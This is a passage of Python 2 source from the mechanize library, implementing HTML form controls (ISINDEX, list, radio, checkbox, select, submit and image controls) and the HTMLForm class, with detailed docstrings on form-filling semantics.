only allowed one ISINDEX per HTML document. ISINDEX and regular form submission are mutually exclusive -- either submit a form, or the ISINDEX. Having said this, since ISINDEX controls may appear in forms (which is probably bad HTML), ParseFile / ParseResponse will include them in the HTMLForm instances it returns. You can set the ISINDEX's value, as with any other control (but note that ISINDEX controls have no name, so you'll need to use the type argument of set_value!). When you submit the form, the ISINDEX will not be successful (ie., no data will get returned to the server as a result of its presence), unless you click on the ISINDEX control, in which case the ISINDEX gets submitted instead of the form: form.set_value("my isindex value", type="isindex") mechanize.urlopen(form.click(type="isindex")) ISINDEX elements outside of FORMs are ignored. If you want to submit one by hand, do it like so: url = urlparse.urljoin(page_uri, "?"+urllib.quote_plus("my isindex value")) result = mechanize.urlopen(url) """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) if self._value is None: self._value = "" def is_of_kind(self, kind): return kind in ["text", "clickable"] def _totally_ordered_pairs(self): return [] def _click(self, form, coord, return_type, request_class=_request.Request): # Relative URL for ISINDEX submission: instead of "foo=bar+baz", # want "bar+baz". # This doesn't seem to be specified in HTML 4.01 spec. (ISINDEX is # deprecated in 4.01, but it should still say how to submit it). # Submission of ISINDEX is explained in the HTML 3.2 spec, though. parts = self._urlparse(form.action) rest, (query, frag) = parts[:-2], parts[-2:] parts = rest + (urllib.quote_plus(self.value), None) url = self._urlunparse(parts) req_data = url, None, [] if return_type == "pairs": return [] elif return_type == "request_data": return req_data else: return request_class(url) def __str__(self): value = self.value if value is None: value = "<None>" infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s)%s>" % (self.__class__.__name__, value, info) #--------------------------------------------------- class IgnoreControl(ScalarControl): """Control that we're not interested in. Covers: INPUT/RESET BUTTON/RESET INPUT/BUTTON BUTTON/BUTTON These controls are always unsuccessful, in the terminology of HTML 4 (ie. they never require any information to be returned to the server). BUTTON/BUTTON is used to generate events for script embedded in HTML. The value attribute of IgnoreControl is always None. """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) self._value = None def is_of_kind(self, kind): return False def __setattr__(self, name, value): if name == "value": raise AttributeError( "control '%s' is ignored, hence read-only" % self.name) elif name in ("name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value #--------------------------------------------------- # ListControls # helpers and subsidiary classes class Item: def __init__(self, control, attrs, index=None): label = _get_label(attrs) self.__dict__.update({ "name": attrs["value"], "_labels": label and [label] or [], "attrs": attrs, "_control": control, "disabled": attrs.has_key("disabled"), "_selected": False, "id": attrs.get("id"), "_index": index, }) control.items.append(self) def get_labels(self): """Return all labels (Label instances) for this item. For items that represent radio buttons or checkboxes, if the item was surrounded by a <label> tag, that will be the first label; all other labels, connected by 'for' and 'id', are in the order that appear in the HTML. For items that represent select options, if the option had a label attribute, that will be the first label. If the option has contents (text within the option tags) and it is not the same as the label attribute (if any), that will be a label. There is nothing in the spec to my knowledge that makes an option with an id unable to be the target of a label's for attribute, so those are included, if any, for the sake of consistency and completeness. """ res = [] res.extend(self._labels) if self.id: res.extend(self._control._form._id_to_labels.get(self.id, ())) return res def __getattr__(self, name): if name=="selected": return self._selected raise AttributeError(name) def __setattr__(self, name, value): if name == "selected": self._control._set_selected_state(self, value) elif name == "disabled": self.__dict__["disabled"] = bool(value) else: raise AttributeError(name) def __str__(self): res = self.name if self.selected: res = "*" + res if self.disabled: res = "(%s)" % res return res def __repr__(self): # XXX appending the attrs without distinguishing them from name and id # is silly attrs = [("name", self.name), ("id", self.id)]+self.attrs.items() return "<%s %s>" % ( self.__class__.__name__, " ".join(["%s=%r" % (k, v) for k, v in attrs]) ) def disambiguate(items, nr, **kwds): msgs = [] for key, value in kwds.items(): msgs.append("%s=%r" % (key, value)) msg = " ".join(msgs) if not items: raise ItemNotFoundError(msg) if nr is None: if len(items) > 1: raise AmbiguityError(msg) nr = 0 if len(items) <= nr: raise ItemNotFoundError(msg) return items[nr] class ListControl(Control): """Control representing a sequence of items. The value attribute of a ListControl represents the successful list items in the control. The successful list items are those that are selected and not disabled. ListControl implements both list controls that take a length-1 value (single-selection) and those that take length >1 values (multiple-selection). ListControls accept sequence values only. Some controls only accept sequences of length 0 or 1 (RADIO, and single-selection SELECT). In those cases, ItemCountError is raised if len(sequence) > 1. CHECKBOXes and multiple-selection SELECTs (those having the "multiple" HTML attribute) accept sequences of any length. Note the following mistake: control.value = some_value assert control.value == some_value # not necessarily true The reason for this is that the value attribute always gives the list items in the order they were listed in the HTML. ListControl items can also be referred to by their labels instead of names. Use the label argument to .get(), and the .set_value_by_label(), .get_value_by_label() methods. Note that, rather confusingly, though SELECT controls are represented in HTML by SELECT elements (which contain OPTION elements, representing individual list items), CHECKBOXes and RADIOs are not represented by *any* element. Instead, those controls are represented by a collection of INPUT elements. For example, this is a SELECT control, named "control1": <select name="control1"> <option>foo</option> <option value="1">bar</option> </select> and this is a CHECKBOX control, named "control2": <input type="checkbox" name="control2" value="foo" id="cbe1"> <input type="checkbox" name="control2" value="bar" id="cbe2"> The id attribute of a CHECKBOX or RADIO ListControl is always that of its first element (for example, "cbe1" above). Additional read-only public attribute: multiple. """ # ListControls are built up by the parser from their component items by # creating one ListControl per item, consolidating them into a single # master ListControl held by the HTMLForm: # -User calls form.new_control(...) # -Form creates Control, and calls control.add_to_form(self). # -Control looks for a Control with the same name and type in the form, # and if it finds one, merges itself with that control by calling # control.merge_control(self). The first Control added to the form, of # a particular name and type, is the only one that survives in the # form. # -Form calls control.fixup for all its controls. ListControls in the # form know they can now safely pick their default values. # To create a ListControl without an HTMLForm, use: # control.merge_control(new_control) # (actually, it's much easier just to use ParseFile) _label = None def __init__(self, type, name, attrs={}, select_default=False, called_as_base_class=False, index=None): """ select_default: for RADIO and multiple-selection SELECT controls, pick the first item as the default if no 'selected' HTML attribute is present """ if not called_as_base_class: raise NotImplementedError() self.__dict__["type"] = type.lower() self.__dict__["name"] = name self._value = attrs.get("value") self.disabled = False self.readonly = False self.id = attrs.get("id") self._closed = False # As Controls are merged in with .merge_control(), self.attrs will # refer to each Control in turn -- always the most recently merged # control. Each merged-in Control instance corresponds to a single # list item: see ListControl.__doc__. self.items = [] self._form = None self._select_default = select_default self._clicked = False def clear(self): self.value = [] def is_of_kind(self, kind): if kind == "list": return True elif kind == "multilist": return bool(self.multiple) elif kind == "singlelist": return not self.multiple else: return False def get_items(self, name=None, label=None, id=None, exclude_disabled=False): """Return matching items by name or label. For argument docs, see the docstring for .get() """ if name is not None and not isstringlike(name): raise TypeError("item name must be string-like") if label is not None and not isstringlike(label): raise TypeError("item label must be string-like") if id is not None and not isstringlike(id): raise TypeError("item id must be string-like") items = [] # order is important compat = self._form.backwards_compat for o in self.items: if exclude_disabled and o.disabled: continue if name is not None and o.name != name: continue if label is not None: for l in o.get_labels(): if ((compat and l.text == label) or (not compat and l.text.find(label) > -1)): break else: continue if id is not None and o.id != id: continue items.append(o) return items def get(self, name=None, label=None, id=None, nr=None, exclude_disabled=False): """Return item by name or label, disambiguating if necessary with nr. All arguments must be passed by name, with the exception of 'name', which may be used as a positional argument. If name is specified, then the item must have the indicated name. If label is specified, then the item must have a label whose whitespace-compressed, stripped, text substring-matches the indicated label string (e.g. label="please choose" will match " Do please choose an item "). If id is specified, then the item must have the indicated id. nr is an optional 0-based index of the items matching the query. If nr is the default None value and more than item is found, raises AmbiguityError (unless the HTMLForm instance's backwards_compat attribute is true). If no item is found, or if items are found but nr is specified and not found, raises ItemNotFoundError. Optionally excludes disabled items. """ if nr is None and self._form.backwards_compat: nr = 0 # :-/ items = self.get_items(name, label, id, exclude_disabled) return disambiguate(items, nr, name=name, label=label, id=id) def _get(self, name, by_label=False, nr=None, exclude_disabled=False): # strictly for use by deprecated methods if by_label: name, label = None, name else: name, label = name, None return self.get(name, label, nr, exclude_disabled) def toggle(self, name, by_label=False, nr=None): """Deprecated: given a name or label and optional disambiguating index nr, toggle the matching item's selection. Selecting items follows the behavior described in the docstring of the 'get' method. if the item is disabled, or this control is disabled or readonly, raise AttributeError. """ deprecation( "item = control.get(...); item.selected = not item.selected") o = self._get(name, by_label, nr) self._set_selected_state(o, not o.selected) def set(self, selected, name, by_label=False, nr=None): """Deprecated: given a name or label and optional disambiguating index nr, set the matching item's selection to the bool value of selected. Selecting items follows the behavior described in the docstring of the 'get' method. if the item is disabled, or this control is disabled or readonly, raise AttributeError. """ deprecation( "control.get(...).selected = <boolean>") self._set_selected_state(self._get(name, by_label, nr), selected) def _set_selected_state(self, item, action): # action: # bool False: off # bool True: on if self.disabled: raise AttributeError("control '%s' is disabled" % self.name) if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) action == bool(action) compat = self._form.backwards_compat if not compat and item.disabled: raise AttributeError("item is disabled") else: if compat and item.disabled and action: raise AttributeError("item is disabled") if self.multiple: item.__dict__["_selected"] = action else: if not action: item.__dict__["_selected"] = False else: for o in self.items: o.__dict__["_selected"] = False item.__dict__["_selected"] = True def toggle_single(self, by_label=None): """Deprecated: toggle the selection of the single item in this control. Raises ItemCountError if the control does not contain only one item. by_label argument is ignored, and included only for backwards compatibility. """ deprecation( "control.items[0].selected = not control.items[0].selected") if len(self.items) != 1: raise ItemCountError( "'%s' is not a single-item control" % self.name) item = self.items[0] self._set_selected_state(item, not item.selected) def set_single(self, selected, by_label=None): """Deprecated: set the selection of the single item in this control. Raises ItemCountError if the control does not contain only one item. by_label argument is ignored, and included only for backwards compatibility. """ deprecation( "control.items[0].selected = <boolean>") if len(self.items) != 1: raise ItemCountError( "'%s' is not a single-item control" % self.name) self._set_selected_state(self.items[0], selected) def get_item_disabled(self, name, by_label=False, nr=None): """Get disabled state of named list item in a ListControl.""" deprecation( "control.get(...).disabled") return self._get(name, by_label, nr).disabled def set_item_disabled(self, disabled, name, by_label=False, nr=None): """Set disabled state of named list item in a ListControl. disabled: boolean disabled state """ deprecation( "control.get(...).disabled = <boolean>") self._get(name, by_label, nr).disabled = disabled def set_all_items_disabled(self, disabled): """Set disabled state of all list items in a ListControl. disabled: boolean disabled state """ for o in self.items: o.disabled = disabled def get_item_attrs(self, name, by_label=False, nr=None): """Return dictionary of HTML attributes for a single ListControl item. The HTML element types that describe list items are: OPTION for SELECT controls, INPUT for the rest. These elements have HTML attributes that you may occasionally want to know about -- for example, the "alt" HTML attribute gives a text string describing the item (graphical browsers usually display this as a tooltip). The returned dictionary maps HTML attribute names to values. The names and values are taken from the original HTML. """ deprecation( "control.get(...).attrs") return self._get(name, by_label, nr).attrs def close_control(self): self._closed = True def add_to_form(self, form): assert self._form is None or form == self._form, ( "can't add control to more than one form") self._form = form if self.name is None: # always count nameless elements as separate controls Control.add_to_form(self, form) else: for ii in range(len(form.controls)-1, -1, -1): control = form.controls[ii] if control.name == self.name and control.type == self.type: if control._closed: Control.add_to_form(self, form) else: control.merge_control(self) break else: Control.add_to_form(self, form) def merge_control(self, control): assert bool(control.multiple) == bool(self.multiple) # usually, isinstance(control, self.__class__) self.items.extend(control.items) def fixup(self): """ ListControls are built up from component list items (which are also ListControls) during parsing. This method should be called after all items have been added. See ListControl.__doc__ for the reason this is required. """ # Need to set default selection where no item was indicated as being # selected by the HTML: # CHECKBOX: # Nothing should be selected. # SELECT/single, SELECT/multiple and RADIO: # RFC 1866 (HTML 2.0): says first item should be selected. # W3C HTML 4.01 Specification: says that client behaviour is # undefined in this case. For RADIO, exactly one must be selected, # though which one is undefined. # Both Netscape and Microsoft Internet Explorer (IE) choose first # item for SELECT/single. However, both IE5 and Mozilla (both 1.0 # and Firebird 0.6) leave all items unselected for RADIO and # SELECT/multiple. # Since both Netscape and IE all choose the first item for # SELECT/single, we do the same. OTOH, both Netscape and IE # leave SELECT/multiple with nothing selected, in violation of RFC 1866 # (but not in violation of the W3C HTML 4 standard); the same is true # of RADIO (which *is* in violation of the HTML 4 standard). We follow # RFC 1866 if the _select_default attribute is set, and Netscape and IE # otherwise. RFC 1866 and HTML 4 are always violated insofar as you # can deselect all items in a RadioControl. for o in self.items: # set items' controls to self, now that we've merged o.__dict__["_control"] = self def __getattr__(self, name): if name == "value": compat = self._form.backwards_compat if self.name is None: return [] return [o.name for o in self.items if o.selected and (not o.disabled or compat)] else: raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, name)) def __setattr__(self, name, value): if name == "value": if self.disabled: raise AttributeError("control '%s' is disabled" % self.name) if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self._set_value(value) elif name in ("name", "type", "multiple"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def _set_value(self, value): if value is None or isstringlike(value): raise TypeError("ListControl, must set a sequence") if not value: compat = self._form.backwards_compat for o in self.items: if not o.disabled or compat: o.selected = False elif self.multiple: self._multiple_set_value(value) elif len(value) > 1: raise ItemCountError( "single selection list, must set sequence of " "length 0 or 1") else: self._single_set_value(value) def _get_items(self, name, target=1): all_items = self.get_items(name) items = [o for o in all_items if not o.disabled] if len(items) < target: if len(all_items) < target: raise ItemNotFoundError( "insufficient items with name %r" % name) else: raise AttributeError( "insufficient non-disabled items with name %s" % name) on = [] off = [] for o in items: if o.selected: on.append(o) else: off.append(o) return on, off def _single_set_value(self, value): assert len(value) == 1 on, off = self._get_items(value[0]) assert len(on) <= 1 if not on: off[0].selected = True def _multiple_set_value(self, value): compat = self._form.backwards_compat turn_on = [] # transactional-ish turn_off = [item for item in self.items if item.selected and (not item.disabled or compat)] names = {} for nn in value: if nn in names.keys(): names[nn] += 1 else: names[nn] = 1 for name, count in names.items(): on, off = self._get_items(name, count) for i in range(count): if on: item = on[0] del on[0] del turn_off[turn_off.index(item)] else: item = off[0] del off[0] turn_on.append(item) for item in turn_off: item.selected = False for item in turn_on: item.selected = True def set_value_by_label(self, value): """Set the value of control by item labels. value is expected to be an iterable of strings that are substrings of the item labels that should be selected. Before substring matching is performed, the original label text is whitespace-compressed (consecutive whitespace characters are converted to a single space character) and leading and trailing whitespace is stripped. Ambiguous labels are accepted without complaint if the form's backwards_compat is True; otherwise, it will not complain as long as all ambiguous labels share the same item name (e.g. OPTION value). """ if isstringlike(value): raise TypeError(value) if not self.multiple and len(value) > 1: raise ItemCountError( "single selection list, must set sequence of " "length 0 or 1") items = [] for nn in value: found = self.get_items(label=nn) if len(found) > 1: if not self._form.backwards_compat: # ambiguous labels are fine as long as item names (e.g. # OPTION values) are same opt_name = found[0].name if [o for o in found[1:] if o.name != opt_name]: raise AmbiguityError(nn) else: # OK, we'll guess :-( Assume first available item. found = found[:1] for o in found: # For the multiple-item case, we could try to be smarter, # saving them up and trying to resolve, but that's too much. if self._form.backwards_compat or o not in items: items.append(o) break else: # all of them are used raise ItemNotFoundError(nn) # now we have all the items that should be on # let's just turn everything off and then back on. self.value = [] for o in items: o.selected = True def get_value_by_label(self): """Return the value of the control as given by normalized labels.""" res = [] compat = self._form.backwards_compat for o in self.items: if (not o.disabled or compat) and o.selected: for l in o.get_labels(): if l.text: res.append(l.text) break else: res.append(None) return res def possible_items(self, by_label=False): """Deprecated: return the names or labels of all possible items. Includes disabled items, which may be misleading for some use cases. """ deprecation( "[item.name for item in self.items]") if by_label: res = [] for o in self.items: for l in o.get_labels(): if l.text: res.append(l.text) break else: res.append(None) return res return [o.name for o in self.items] def _totally_ordered_pairs(self): if self.disabled or self.name is None: return [] else: return [(o._index, self.name, o.name) for o in self.items if o.selected and not o.disabled] def __str__(self): name = self.name if name is None: name = "<None>" display = [str(o) for o in self.items] infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s=[%s])%s>" % (self.__class__.__name__, name, ", ".join(display), info) class RadioControl(ListControl): """ Covers: INPUT/RADIO """ def __init__(self, type, name, attrs, select_default=False, index=None): attrs.setdefault("value", "on") ListControl.__init__(self, type, name, attrs, select_default, called_as_base_class=True, index=index) self.__dict__["multiple"] = False o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("checked") def fixup(self): ListControl.fixup(self) found = [o for o in self.items if o.selected and not o.disabled] if not found: if self._select_default: for o in self.items: if not o.disabled: o.selected = True break else: # Ensure only one item selected. Choose the last one, # following IE and Firefox. for o in found[:-1]: o.selected = False def get_labels(self): return [] class CheckboxControl(ListControl): """ Covers: INPUT/CHECKBOX """ def __init__(self, type, name, attrs, select_default=False, index=None): attrs.setdefault("value", "on") ListControl.__init__(self, type, name, attrs, select_default, called_as_base_class=True, index=index) self.__dict__["multiple"] = True o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("checked") def get_labels(self): return [] class SelectControl(ListControl): """ Covers: SELECT (and OPTION) OPTION 'values', in HTML parlance, are Item 'names' in mechanize parlance. SELECT control values and labels are subject to some messy defaulting rules. For example, if the HTML representation of the control is: <SELECT name=year> <OPTION value=0 label="2002">current year</OPTION> <OPTION value=1>2001</OPTION> <OPTION>2000</OPTION> </SELECT> The items, in order, have labels "2002", "2001" and "2000", whereas their names (the OPTION values) are "0", "1" and "2000" respectively. Note that the value of the last OPTION in this example defaults to its contents, as specified by RFC 1866, as do the labels of the second and third OPTIONs. The OPTION labels are sometimes more meaningful than the OPTION values, which can make for more maintainable code. Additional read-only public attribute: attrs The attrs attribute is a dictionary of the original HTML attributes of the SELECT element. Other ListControls do not have this attribute, because in other cases the control as a whole does not correspond to any single HTML element. control.get(...).attrs may be used as usual to get at the HTML attributes of the HTML elements corresponding to individual list items (for SELECT controls, these are OPTION elements). Another special case is that the Item.attrs dictionaries have a special key "contents" which does not correspond to any real HTML attribute, but rather contains the contents of the OPTION element: <OPTION>this bit</OPTION> """ # HTML attributes here are treated slightly differently from other list # controls: # -The SELECT HTML attributes dictionary is stuffed into the OPTION # HTML attributes dictionary under the "__select" key. # -The content of each OPTION element is stored under the special # "contents" key of the dictionary. # After all this, the dictionary is passed to the SelectControl constructor # as the attrs argument, as usual. However: # -The first SelectControl constructed when building up a SELECT control # has a constructor attrs argument containing only the __select key -- so # this SelectControl represents an empty SELECT control. # -Subsequent SelectControls have both OPTION HTML-attribute in attrs and # the __select dictionary containing the SELECT HTML-attributes. def __init__(self, type, name, attrs, select_default=False, index=None): # fish out the SELECT HTML attributes from the OPTION HTML attributes # dictionary self.attrs = attrs["__select"].copy() self.__dict__["_label"] = _get_label(self.attrs) self.__dict__["id"] = self.attrs.get("id") self.__dict__["multiple"] = self.attrs.has_key("multiple") # the majority of the contents, label, and value dance already happened contents = attrs.get("contents") attrs = attrs.copy() del attrs["__select"] ListControl.__init__(self, type, name, self.attrs, select_default, called_as_base_class=True, index=index) self.disabled = self.attrs.has_key("disabled") self.readonly = self.attrs.has_key("readonly") if attrs.has_key("value"): # otherwise it is a marker 'select started' token o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("selected") # add 'label' label and contents label, if different. If both are # provided, the 'label' label is used for display in HTML # 4.0-compliant browsers (and any lower spec? not sure) while the # contents are used for display in older or less-compliant # browsers. We make label objects for both, if the values are # different. label = attrs.get("label") if label: o._labels.append(Label({"__text": label})) if contents and contents != label: o._labels.append(Label({"__text": contents})) elif contents: o._labels.append(Label({"__text": contents})) def fixup(self): ListControl.fixup(self) # Firefox doesn't exclude disabled items from those considered here # (i.e. from 'found', for both branches of the if below). Note that # IE6 doesn't support the disabled attribute on OPTIONs at all. found = [o for o in self.items if o.selected] if not found: if not self.multiple or self._select_default: for o in self.items: if not o.disabled: was_disabled = self.disabled self.disabled = False try: o.selected = True finally: o.disabled = was_disabled break elif not self.multiple: # Ensure only one item selected. Choose the last one, # following IE and Firefox. for o in found[:-1]: o.selected = False #--------------------------------------------------- class SubmitControl(ScalarControl): """ Covers: INPUT/SUBMIT BUTTON/SUBMIT """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) # IE5 defaults SUBMIT value to "Submit Query"; Firebird 0.6 leaves it # blank, Konqueror 3.1 defaults to "Submit". HTML spec. doesn't seem # to define this. if self.value is None: self.value = "" self.readonly = True def get_labels(self): res = [] if self.value: res.append(Label({"__text": self.value})) res.extend(ScalarControl.get_labels(self)) return res def is_of_kind(self, kind): return kind == "clickable" def _click(self, form, coord, return_type, request_class=_request.Request): self._clicked = coord r = form._switch_click(return_type, request_class) self._clicked = False return r def _totally_ordered_pairs(self): if not self._clicked: return [] return ScalarControl._totally_ordered_pairs(self) #--------------------------------------------------- class ImageControl(SubmitControl): """ Covers: INPUT/IMAGE Coordinates are specified using one of the HTMLForm.click* methods. """ def __init__(self, type, name, attrs, index=None): SubmitControl.__init__(self, type, name, attrs, index) self.readonly = False def _totally_ordered_pairs(self): clicked = self._clicked if self.disabled or not clicked: return [] name = self.name if name is None: return [] pairs = [ (self._index, "%s.x" % name, str(clicked[0])), (self._index+1, "%s.y" % name, str(clicked[1])), ] value = self._value if value: pairs.append((self._index+2, name, value)) return pairs get_labels = ScalarControl.get_labels # aliases, just to make str(control) and str(form) clearer class PasswordControl(TextControl): pass class HiddenControl(TextControl): pass class TextareaControl(TextControl): pass class SubmitButtonControl(SubmitControl): pass def is_listcontrol(control): return control.is_of_kind("list") class HTMLForm: """Represents a single HTML <form> ... </form> element. A form consists of a sequence of controls that usually have names, and which can take on various values. The values of the various types of controls represent variously: text, zero-or-one-of-many or many-of-many choices, and files to be uploaded. Some controls can be clicked on to submit the form, and clickable controls' values sometimes include the coordinates of the click. Forms can be filled in with data to be returned to the server, and then submitted, using the click method to generate a request object suitable for passing to mechanize.urlopen (or the click_request_data or click_pairs methods for integration with third-party code). import mechanize forms = mechanize.ParseFile(html, base_uri) form = forms[0] form["query"] = "Python" form.find_control("nr_results").get("lots").selected = True response = mechanize.urlopen(form.click()) Usually, HTMLForm instances are not created directly. Instead, the ParseFile or ParseResponse factory functions are used. If you do construct HTMLForm objects yourself, however, note that an HTMLForm instance is only properly initialised after the fixup method has been called (ParseFile and ParseResponse do this for you). See ListControl.__doc__ for the reason this is required. Indexing a form (form["control_name"]) returns the named Control's value attribute. Assignment to a form index (form["control_name"] = something) is equivalent to assignment to the named Control's value attribute. If you need to be more specific than just supplying the control's name, use the set_value and get_value methods. ListControl values are lists of item names (specifically, the names of the items that are selected and not disabled, and hence are "successful" -- ie. cause data to be returned to the server). The list item's name is the value of the corresponding HTML element's"value" attribute. Example: <INPUT type="CHECKBOX" name="cheeses" value="leicester"></INPUT> <INPUT type="CHECKBOX" name="cheeses" value="cheddar"></INPUT> defines a CHECKBOX control with name "cheeses" which has two items, named "leicester" and "cheddar". Another example: <SELECT name="more_cheeses"> <OPTION>1</OPTION> <OPTION value="2" label="CHEDDAR">cheddar</OPTION> </SELECT> defines a SELECT control with name "more_cheeses" which has two items, named "1" and "2" (because the OPTION element's value HTML attribute defaults to the element contents -- see SelectControl.__doc__ for more on these defaulting rules). To select, deselect or otherwise manipulate individual list items, use the HTMLForm.find_control() and ListControl.get() methods. To set the whole value, do as for any other control: use indexing or the set_/get_value methods. Example: # select *only* the item named "cheddar" form["cheeses"] = ["cheddar"] # select "cheddar", leave other items unaffected form.find_control("cheeses").get("cheddar").selected = True Some controls (RADIO and SELECT without the multiple attribute) can only have zero or one items selected at a time. Some controls (CHECKBOX and SELECT with the multiple attribute) can have multiple items selected at a time. To set the whole value of a ListControl, assign a sequence to a form index: form["cheeses"] = ["cheddar", "leicester"] If the ListControl is not multiple-selection, the assigned list must be of length one. To check if a control has an item, if an item is selected, or if an item is successful (selected and not disabled), respectively: "cheddar" in [item.name for item in form.find_control("cheeses").items] "cheddar" in [item.name for item in form.find_control("cheeses").items and item.selected] "cheddar" in form["cheeses"] # (or "cheddar" in form.get_value("cheeses")) Note that some list items may be disabled (see below). Note the following mistake: form[control_name] = control_value assert form[control_name] == control_value # not necessarily true The reason for this is that form[control_name] always gives the list items in the order they were listed in the HTML. List items (hence list values, too) can be referred to in terms of list item labels rather than list item names using the appropriate label arguments. Note that each item may have several labels. The question of default values of OPTION contents, labels and values is somewhat complicated: see SelectControl.__doc__ and ListControl.get_item_attrs.__doc__ if you think you need to know. Controls can be disabled or readonly. In either case, the control's value cannot be changed until you clear those flags (see example below). Disabled is the state typically represented by browsers by 'greying out' a control. Disabled controls are not 'successful' -- they don't cause data to get returned to the server. Readonly controls usually appear in browsers as read-only text boxes. Readonly controls are successful. List items can also be disabled. Attempts to select or deselect disabled items fail with AttributeError. If a lot of controls are readonly, it can be useful to do this: form.set_all_readonly(False) To clear a control's value attribute, so that it is not successful (until a value is subsequently set): form.clear("cheeses") More examples: control = form.find_control("cheeses") control.disabled = False control.readonly = False control.get("gruyere").disabled = True control.items[0].selected = True See the various Control classes for further documentation. Many methods take name, type, kind, id, label and nr arguments to specify the control to be operated on: see HTMLForm.find_control.__doc__. ControlNotFoundError (subclass of ValueError) is raised if the specified control can't be found. This includes occasions where a non-ListControl is found, but the method (set, for example) requires a ListControl. ItemNotFoundError (subclass of ValueError) is raised if a list item can't be found. ItemCountError (subclass of ValueError) is raised if an attempt is made to select more than one item and the control doesn't allow that, or set/get_single are called and the control contains more than one item. AttributeError is raised if a control or item is readonly or disabled and an attempt is made to alter its value. Security note: Remember that any passwords you store in HTMLForm instances will be saved to disk in the clear if you pickle them (directly or indirectly). The simplest solution to this is to avoid pickling HTMLForm objects. You could also pickle before filling in any password, or just set the password to "" before pickling. Public attributes: action: full (absolute URI) form action method: "GET" or "POST" enctype: form transfer encoding MIME type name: name of form (None if no name was specified) attrs: dictionary mapping original HTML form attributes to their values controls: list of Control instances; do not alter this list (instead, call form.new_control to make a Control and add it to the form, or control.add_to_form if you already have a Control instance) Methods for form filling: ------------------------- Most of the these methods have very similar arguments. See HTMLForm.find_control.__doc__ for details of the name, type, kind, label and nr arguments. def find_control(self, name=None, type=None, kind=None, id=None, predicate=None, nr=None, label=None) get_value(name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None) set_value(value, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None) clear_all() clear(name=None, type=None, kind=None, id=None, nr=None, label=None) set_all_readonly(readonly) Method applying only to FileControls: add_file(file_object, content_type="application/octet-stream", filename=None, name=None, id=None, nr=None, label=None) Methods applying only to clickable controls: click(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) click_request_data(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) click_pairs(name=None, type=None, id=None, nr=0, coord=(1,1), label=None) """ type2class = { "text": TextControl, "password": PasswordControl, "hidden": HiddenControl, "textarea": TextareaControl, "isindex": IsindexControl, "file": FileControl, "button": IgnoreControl, "buttonbutton": IgnoreControl, "reset": IgnoreControl, "resetbutton": IgnoreControl, "submit": SubmitControl, "submitbutton": SubmitButtonControl, "image": ImageControl, "radio": RadioControl, "checkbox": CheckboxControl, "select": SelectControl, } #--------------------------------------------------- # Initialisation. Use ParseResponse / ParseFile instead. def __init__(self, action, method="GET", enctype="application/x-www-form-urlencoded", name=None, attrs=None, request_class=_request.Request, forms=None, labels=None, id_to_labels=None, backwards_compat=True): """ In the usual case, use ParseResponse (or ParseFile) to create new HTMLForm objects. action: full (absolute URI) form action method: "GET" or "POST" enctype: form transfer encoding MIME type name: name of form attrs: dictionary mapping original HTML form attributes to their values """ self.action = action self.method = method self.enctype = enctype self.name = name if attrs is not None: self.attrs = attrs.copy() else: self.attrs = {} self.controls = [] self._request_class = request_class # these attributes are used by zope.testbrowser self._forms = forms # this is a semi-public API! self._labels = labels # this is a semi-public API! self._id_to_labels = id_to_labels # this is a semi-public API! self.backwards_compat = backwards_compat # note __setattr__ self._urlunparse = urlparse.urlunparse self._urlparse = urlparse.urlparse def __getattr__(self, name): if name == "backwards_compat": return self._backwards_compat return getattr(HTMLForm, name) def __setattr__(self, name, value): # yuck if name == "backwards_compat": name = "_backwards_compat" value = bool(value) for cc in self.controls: try: items = cc.items except AttributeError: continue else: for ii in items: for ll in ii.get_labels(): ll._backwards_compat = value self.__dict__[name] = value def new_control(self, type, name, attrs, ignore_unknown=False, select_default=False, index=None): """Adds a new control to the form. This is usually called by ParseFile and ParseResponse. Don't call it youself unless you're building your own Control instances. Note that controls representing lists of items are built up from controls holding only a single list item. See ListControl.__doc__ for further information. type: type of control (see Control.__doc__ for a list) attrs: HTML attributes of control ignore_unknown: if true, use a dummy Control instance for controls of unknown type; otherwise, use a TextControl select_default: for RADIO and multiple-selection SELECT controls, pick the first item as the default if no 'selected' HTML attribute is present (this defaulting happens when the HTMLForm.fixup method is called) index: index of corresponding element in HTML (see MoreFormTests.test_interspersed_controls for motivation) """ type = type.lower() klass = self.type2class.get(type) if klass is None: if ignore_unknown: klass = IgnoreControl else: klass = TextControl a = attrs.copy() if issubclass(klass, ListControl): control = klass(type, name, a, select_default, index) else: control = klass(type, name, a, index) if type == "select" and len(attrs) == 1: for ii in range(len(self.controls)-1, -1, -1): ctl = self.controls[ii] if ctl.type == "select": ctl.close_control() break control.add_to_form(self) control._urlparse = self._urlparse control._urlunparse = self._urlunparse def fixup(self): """Normalise form after all controls have been added. This is usually called by ParseFile and ParseResponse. Don't call it youself unless you're building your own Control instances. This method should only be called once, after all controls have been added to the form. """ for control in self.controls: control.fixup() self.backwards_compat = self._backwards_compat #--------------------------------------------------- def __str__(self): header = "%s%s %s %s" % ( (self.name and self.name+" " or ""), self.method, self.action, self.enctype) rep = [header] for control in self.controls: rep.append(" %s" % str(control)) return "<%s>" % "\n".join(rep) #--------------------------------------------------- # Form-filling methods. def __getitem__(self, name): return self.find_control(name).value def __contains__(self, name): return bool(self.find_control(name)) def __setitem__(self, name, value): control = self.find_control(name) try: control.value = value except AttributeError, e: raise ValueError(str(e)) def get_value(self, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None): """Return value of control. If 